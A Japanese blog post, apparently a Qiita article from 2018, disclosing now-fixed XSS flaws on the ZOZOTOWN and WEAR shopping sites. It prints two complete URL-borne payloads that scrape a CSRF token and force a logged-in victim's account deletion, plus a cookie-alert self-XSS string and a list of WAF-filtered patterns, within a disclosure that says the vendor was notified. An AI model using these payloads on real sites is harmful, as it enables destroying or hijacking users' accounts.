32
Help us understand the problem. What are the problem?

More than 3 years have passed since last update.

posted at

updated at

ZOZOTOWNにあったXSS

zozo_google.png
(2018年10月)

(宇宙よりエンジニアに金かけた方が良いのでは?)

って近所の猫が言ってた。

XSS

以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

ログイン中に踏んだら強制退会できたXSS↓

http://zozo.jp/search/?sex=kids&dstk='}};
$.ajax({
    type: 'GET',
    url: 'http://zozo.jp/_member/leave/default.html?',
    success: function(html){
        var token = $(html).find('input[value=Leave]').attr('name');
        var payload = {};
        payload[token] = 'Leave';
        payload['check1'] = 'on';
        payload['check2'] = 'on';
        payload['check3'] = 'on';
        payload['check5'] = 'on';
        payload['check7'] = 'on';
        $.ajax({
            type: 'POST',
            url: 'http://zozo.jp/_member/leave/default.html',
            data: payload
        });
    }
});{{'

http://zozo.jp/~https://zozo.jp/~ の違いでクロスドメイン制約に引っかかりできなかったが、サイト全体がhttps対応されていたら、メアド強制変更のXSSも組むことができた。
パスワードを忘れた場合は ~ と合わせればアカウントが奪取できるXSSが組めたんじゃないかと思う。

原因

htmlにべた書きする形で、<script>タグの中身をURLから動的に生成していた。
現在は直っている。


あとブランド選択ページ (http://zozo.jp/_search/shoplist_pop_all.html?path=%2Fsearch%2F%3Fp%5Fkeyv%3Da%26p%5Fvck%3D1%26ustype%3D1) の検索ボックスに

  • "><script>alert(document.cookie)</script>

とか突っ込むとセルフXSSができた。
現在は直っている。

感想

  • 1個目のXSSはWAF(?)に弾かれたりして↓とかが使えなくてつらかった。
    • <script> ~、<img> ~、<iframe> ~、javascript: ~、onmouseover= ~、&、+、alert()、console.log()、document. ~
    • location. ~ でリダイレクトさせたりすることはできた。
  • jQueryを使ってくれていて助かった。
  • ZOZOテクノロジーズの方にメールを出したが返事が帰ってこなくて虚しかった。
    • → この記事書いた3日後にきた。

WEAR

wear.png

知識が貧弱なのでWAF(?)に弾かれてスクリプトは実行できなかったが、↑普通にエスケープが漏れてる。
直した方が良いと思う。

追記1:

よくよく見てたらWEARでも普通にXSSできた。
wear_xss_urlなし.png
(2018年10月)

追記2:

WEARのXSS直ってた。
直る前は、以下のようなURLでXSSができた。

画像↑のXSSは以下のような感じでできた。

強制退会XSSもできた↓

https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
$.ajax({
 type: 'GET',
 url: leaveUrl,
 success: function(html){
 var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
 var payload = {};
 payload['AgreeCheck'] = 1;
 payload['c'] = 'leave_comp';
 payload['leaveAgreeKey'] = token;
 $.ajax({
 type: 'POST',
 url: leaveUrl,
 data: payload
 });
 }
});
var b = {'c': '

追記3:

海外展開向けのzozo.comの会員登録メールでセルフXSSができた。
文字数制限厳しいしさすがに使い道ないと思うけど。

スクリーンショット 2018-10-20 21.15.54.png
スクリーンショット 2018-10-20 21.16.48.png
スクリーンショット 2018-10-20 21.17.33.png
(2018年10月)

Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Sign upLogin
32
Help us understand the problem. What are the problem?